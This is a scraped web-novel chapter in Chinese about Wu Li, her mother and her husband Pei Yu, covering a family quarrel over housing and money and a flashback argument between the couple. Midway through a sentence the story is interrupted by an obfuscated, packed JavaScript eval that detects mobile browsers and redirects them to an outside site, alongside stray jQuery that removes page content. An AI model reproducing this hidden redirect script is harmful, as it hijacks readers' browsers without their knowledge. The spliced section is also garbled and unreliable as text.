默认冷灰
24号文字
方正启体

1. chapter1

作者:李阿也本书字数:K更新时间:
    《乌梨》


    文/李阿也


    2026.2.14


    “你知道尼伯龙根现象吗?”


    乌黎在三十岁生日这天清楚地感受到这种现象的恐怖。


    她的丈夫裴郁所存在的痕迹都被抹除,唯独她还记得。


    可记得他的人也要死了。


    ——乌黎。


    *


    十月末,台风过境后的第二个周末。


    微风卷起法桐叶在冷了几个度的琴岛飘荡,昏黄的路灯映在老城的墙面,空气中漫过浅淡的菊香,刚从小禾医生那里脱身的乌黎掸了掸身上的碎叶,倚靠在站台边,不自觉看向琴岛的地标建筑。


    “姑娘,去哪儿?”的哥眼尖瞧着有客,立刻探出头问。


    “京山路。”乌黎神色柔和地回了一句,想起母亲刚才的电话,眉头没由来轻皱。


    和进进出出一脸憔悴的人比起来,她全然看不出刚从医院出来的样子。


    的哥迅速打量了下面前的女性,不到三十的年纪,生得眉目清浅,眼型是柔和的杏圆,眼底时而溢出清冷的淡意,睫毛细长,眨眼时扫过眼下,留下细碎的阴影。


    “得勒。”的哥见她不动,有些出神的样子,招了下手示意,“上来吧,保准赶在饭点前把你拉回去。”


    乌黎摇下车窗,海风带着清冽的凉意扑面而来,把倦怠的思绪打落下去。


    她十四岁跟着母亲来到琴岛,离开这里用了八年,余下的八年,她拿到京北一家公司的offer,成功离开琴岛。


    那个时候的京北人满为患,为了所谓的好生活,全国大部分青年人涌入这座城市。


    而她因为亲戚的嫉妒被动更改志愿,以晚了四年为代价,才去到京北。


    那时的乌黎是勇敢的,勇敢地逃离母亲,勇敢地奔向新生活。


    世事难料,公司因为新开发的项目,她在二十七岁这年暂时回到琴岛。


    裴郁提了好多次在琴岛买房,都被她摇头制止。


    她并不想惯性地成为家人称赞的孝子,也没想过给母亲买房子,高中后的生活开销都是乌黎靠在网站上写小说和周末兼职挣的,遇到裴郁后,他偶尔会悄悄往她的存钱罐里放钱,只不过多年后,都被乌黎投资他的公司双倍还回去了。


    暂留在琴岛时,母亲来过几次,看了她租住的房子,硬生生把她的行李给搬回家。


    当然不是看她一个人住身边没人照顾,而是那五千块的租房钱她想要。


    即使乌黎婚前每个月三千三千地打回去。


    “我的钱都在裴郁那儿,租房的钱也是他定的。”乌黎看着拿不到钱醉酒折腾的母亲,面无表情地说出这句话,说实话她不是第一次拿裴郁当挡箭牌。


    没办法对母亲说太多重话的她,只能用裴郁当话柄。


    陈池月吐了下口水,嫣红的唇瓣被烈酒抹去,眼影又花又脏,“什么都是裴郁!那裴郁哪儿来的?不还是他爸妈生的?”


    “他爸现在都在牢里没出来,他妈死多少年了,他像你这样需要花钱吗?”


    “以后你就不赡养我了?真是有了钱就翅膀硬了!”


    她就坐在地上,在门口摆了个大字,完全看不出曾经穿梭烟花柳巷的妩媚样,所以啊,不幸的婚姻,病态的原生家庭真的很影响一个人。


    这种的情况下,乌黎还有时间分心。


    07年,裴郁的母亲在疗养院去世,裴郁因为气流骤降的缘故,没能赶上最后一面。


    他父亲先到半天,那个曾贯穿裴郁重要人生节点的女人,最终选择了自杀。


    有人说她畏罪自杀,也有人说裴区长并不体面。


    二十年的人生,乌黎并没有直观的感受亲情,就连友情都蒙了一层雾霭,她坚定地走了许久,身边的人才被允许站了个裴郁。


    **


    街景在眼前飞速滑过,乌黎垂眸刚想平复情绪,车子已经停在小区门口,的哥侧过身,语气爽朗地喊了声:“姑娘,到了啊!往前头走就是小区大门,错不了。”


    乌黎付了钱,扭头看了眼,“谢谢,好生意啊师傅。”


    的哥伸了个腰,接过钱,“嘿嘿,慢走。”


    出租车驶离,她站在小区门口看了很久才想起这里是哪处。


    这种陌生的感觉促使她走得很慢,往常要五分钟的距离,她走了半小时。


    家家户户半掩的门窗缝溢出幸福的味道,楼房顶上站着几个看菊展的年轻人。


    小区离中山公园近,吃过饭的青年懒得往外跑,那天的人实在太多,只好凑合在自家楼顶看个大概。


    乌黎被叫回家,也是因为房子拆迁了,大家子人不好落了她,陈池月就叫她顺路回去一趟。


    其实,一点都不顺路。


    她也不想回去。


    进了门,两室一厅的布局她看了好几年,之前工作之余的周末,她偶尔会过来。


    上次经她一闹后,乌黎直接申请了公司的公寓。以前没申请,是因为裴郁都安排好了,她也不想麻烦,毕竟只是暂时在分公司工作。


    房里是渡叔叔家的亲戚,三三两两地聚在一起。陈池月在厨房洗碗,桌上的狼藉表明属于他们家的搬前仪式已经结束。没人注意她回来,乌黎只和从洗手间出来的渡涸打了个照面:“渡叔叔。”


    渡涸没料到她这个时候回来,想说什么,看了眼桌上,又道:“你妈在厨房。”


    乌黎应了声,脱了大衣,进去帮忙。


    到底是有血缘关系,乌黎心软没办法看她一个人在厨房做事。


    不管父母如何,最先心软的还是孩子。


    陈池月看她回来,没多大反应,袖子没挽,手也没湿,洗碗布自然而然就到了乌黎手中。这天的水还是刺骨,乌黎没吭声,默默放掉冷水,开了热水。


    若是搁在往常,陈池月早说她了,如今有事相求,便抄着手站在一旁,把窗外的光景挡了去。


    “你弟年后要去京北,我说让他住你那儿。”


    陈池月率先出声,她命令惯了也没想着和她商量。


    乌黎早在遇见裴郁后就把眼泪流光了。她沉默地洗着碗筷,猪油浮在热水上,把白净的手背弄得油滋滋的。她不想反驳,这世上她就一个亲人,可这个亲人却把和别的男人生的孩子,也算到她头上来了。


    “我跟你说话你听到没!”陈池月的声音高了一度。因着人多,她不想闹得太难看,声音自然压不过外边玩闹的声音。


    乌黎也没抬眼,平静开口:“房本不是我的名字,我也不可能让他住我那儿。”


    冲好碗筷,她放着热水准备冲洗第二遍。这期间,外面的玩闹声渐渐淡了,似乎有什么东西掉在了地上。


    陈池月破天荒没和她再争执,觉着她总要妥协,干脆转头出去。


    二十年的老小区,老旧的扇窗总往内灌风,莫说她站这一会儿等乌黎来,手脚都冷得很。


    只有她这姑娘什么都不吭声,来了就做事,这都多少时间,渡家还有不少人说错她的姓。


    闷得很,和家里人也不亲,她对她也算仁至义尽了。


    也就洗碗的这点功夫,屋外一道闷雷炸响。


    最


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242112|197787||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    后竟悠悠然落了雨,夜晚的蓝调时刻在此刻显露,冷雨连绵刮过山间。


    光秃的树干被风吹动,夜风像是要说点什么。


    乌黎下楼扔垃圾,默不作声地又在门外站了很久,久到还能接到同事的电话,电话里同事的惋惜将要溢出屏幕,“黎黎姐,你真不想干了,为什么啊,明年不就能回京北了。”


    “我爱人希望我强大,所以始终尊重我的选择。来琴岛是我和他争吵的结果,他想让我来,我却只想陪他,最后我们大吵一架。”乌黎低眸,白鞋轻踢路边的石头,清澈的水面映出她无奈的样子,“我原本只想写作,高考被人改了志愿,拼着一口气念完了建筑专业。虽然也拿到了offer,但这不是我想要的,直至今日,我才想明白。”


    裴郁尊重她,房写的她名,钱都在她身上,不论她说什么,他都一一应下。


    乃至需要他当红脸,他都甘之如饴。


    要说今年最后一次吵架,也是她得到诊断结果的第三个月。


    ***


    彼时,裴郁提着给她买的鲜花进门,少年的眉目在日积月累中变得成熟,他身形颀长挺拔,肩线宽而利落,穿了件黑色暗纹衬衫,袖口扣得严丝合缝,只露出腕骨突出的手腕,指节分明且带着薄茧,唇色偏淡,刚进玄关,利落地放置鲜花,洗好手后,又拿出剪刀修枝插花。


    做完这一切,他擦干手上的水渍,推门进屋。


    乌黎回来赶的早班机,航班不长,就是磨人。


    左等右等没等到他,终于是扛不住困意,倒头就睡。


    “这么累?”裴郁走到窗边把扣滑开,让微风从缝隙渗进,他回到床头,俯身,双手轻轻覆盖在她的头上,揉了揉,“我焐了鸡汤,喂你喝两碗?”


    乌黎被窗外的风雨缠住,她往温热的指骨凑近了些,轻声嘀咕:“我又不是小孩儿,每次都等你喂,我也有自己的事业好吧。”


    裴郁垂眸,眼里映出她白净的脸庞,侧脸的红印估摸着是压出来的,像颗饱满的青梨。喉结随着他细小的吞咽滚动了一下,没忍住,薄唇小心翼翼地落在她的嘴角,很轻,若有若无。


    “小梨子。”他开口,下颚的软肉冰凉地贴在她的脸上,两人皆是依恋,久久不曾有动作,这样的情况下,裴郁出声:“我们在琴岛买套房子吧,以后你就多一个家。”


    他的声音充满留恋,指腹一刻不歇地摩挲乌黎的脸蛋。


    窗外的吵闹声在瞬间凝滞,房里的气氛也如这句话变得死寂。


    “你总是知道如何让我生气。”乌黎没有睁眼,她什么动作都没有,甚至不拒绝他的抚摸,“我从琴岛回来看你,是想和你过二人世界,我们已经有好久没一起说过话,裴郁,你忙我是知道的,公司出现问题没办法两全,我也知道,但——”她沉默了几秒,“裴郁,你爱我吗?”


    裴郁掀了下眼皮,无奈又纵容的笑,嗓音很淡,“我爱你。”


    乌黎实话实说,他太忙了,忙到年少时的承诺都变成白纸的错觉,伤人的话脱口而出,“可我感觉不到。”


    裴郁靠上前,他无法保证他手里的事情能在最快的时间解决,所以他想她可以先暂居一个地方,等着他来找她,如果他没办法解决,那就先把她的生活解决好。


    “小梨子,我仅有的爱都给你了,绝无谎言。”


    “你不想买,那就暂时不买,我只是觉得亏欠于你。”


    ...


    那两三滴突然落下的眼泪,也打落乌黎的反驳心。


    两人的心在不自觉地靠近,怕对方受了委屈,也怜对方受过的苦。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)